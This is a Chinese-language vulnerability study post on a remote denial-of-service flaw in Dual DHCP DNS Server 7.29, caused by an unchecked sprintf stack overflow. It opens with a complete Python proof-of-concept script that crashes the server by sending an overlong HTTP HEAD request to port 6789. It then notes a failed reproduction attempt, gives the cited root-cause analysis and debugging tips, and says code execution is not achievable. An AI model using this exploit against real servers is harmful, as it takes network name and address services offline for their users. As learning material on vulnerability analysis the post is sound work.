对于软件DUAL DHCP DNS SERVER 7.29中存在的远程拒绝服务漏洞的分析。
参考自:https://whereisk0shl.top/post/2016-11-04
poc如下——
import socket
import time
import sys
banner = "\n\n"
banner +=" ___ __ ____ _ _ \n"
banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | | \n"
banner +=" | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | | \n"
banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ \| |___ \n"
banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|\n\n"
print banner
host = ""
port = 6789
def send_request(host,port,data):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host,port))
s.send(data)
print "[+] Malicious Packet Sent [+]\n"
except Exception:
print "[+] Exploit failed . . .[+]\n"
s.close()
ebx = "BBBB"
eax = "CCCC"
evil = "A" * 497 + eax + "AAAA" + ebx + "D" * 400
if(len(sys.argv) < 1):
print '\n Usage : exploit.py ipaddress\n'
exit(0)
else:
host = sys.argv[1]
#The method doesn't really matters. It gets valideted only about the length
request = "HEAD /{REPLACE} HTTP/1.1\r\nHost: " + str(host) + "\r\nUser-agent: Fuzzer\r\n\r\n"
send_request(host,port,request.replace("{REPLACE}",evil))
1.背景知识
sprintf函数引起的缓冲区溢出
漏洞代码示例——
int main()
{
char src[50] = "abcdefghijklmnopqrstuvwxyz";
char buf[10] = "";
int len = sprintf(buf, "%s", src);
printf("src=%s\n", src);
printf("len=%d\n", len);
printf("buf=%s\n", buf);
return 0;
}
2.漏洞复现
直接卡在这一步,在win7以及winxp的虚拟机上都尝试安装运行该软件,但是运行成功之后另外一台虚拟机总是没法成功与服务器建立socket连接,二者是在同一个网段啊,都是192.168.73.xx,ping也能连通,就是每次运行poc脚本时就报错connection refused
。要学的东西太多,先不在这上面纠结了,后面有时间再回来看。
后来想到可能是windows系统本身的防火墙开启了?
3.漏洞分析
A.参考博客学习
由于没有成功进行复现和分析,就先学习一下大佬的博客。
我们可以定位到漏洞触发点如下图所示——
我们可以定位到漏洞点如下图所示——
通过静态分析和动态调试相结合,我们可以分析出漏洞的产生原因如下:在使用不安全函数sprintf
时,并没有对其传入参数的具体长度进行限制和控制,从而导致调用sprintf
造成栈溢出,造成局域网内的DNS服务器终止服务,达到拒绝服务攻击的目的。
B.关键
可以学习到一些关键tips如下——
- 分析漏洞触发原因时,重点关注数据的传递过程,并根据关键数据(如寄存器)的传递(从调用函数到被调用函数),梳理整个流程。
- 如果关键数据作为函数参数进行传递,可以在函数起始处观察数据是否正常,如果上层函数传入的参数正常,则漏洞点应该在当前被调用函数中,如果上层函数传入的参数就已经异常了,则应该继续向上回溯。
- 在分析过程中,同时应该注意关注函数调用流程以及函数对应的具体参数的具体值。
4.漏洞利用
虽然ebx
被覆盖,但是没法覆盖到eip
,而且ebx中存放的地址并不是函数指针或者可以利用的虚函数等,所以后续利用无法进行。
参考资料
A.关于DHCP
B.关于Python socket 遇到错误 [Errno 10060]
Python socket 遇到错误 【Errno 10060】 ?
Python socket 客户端无法连接 socket.error: 【Errno 10060】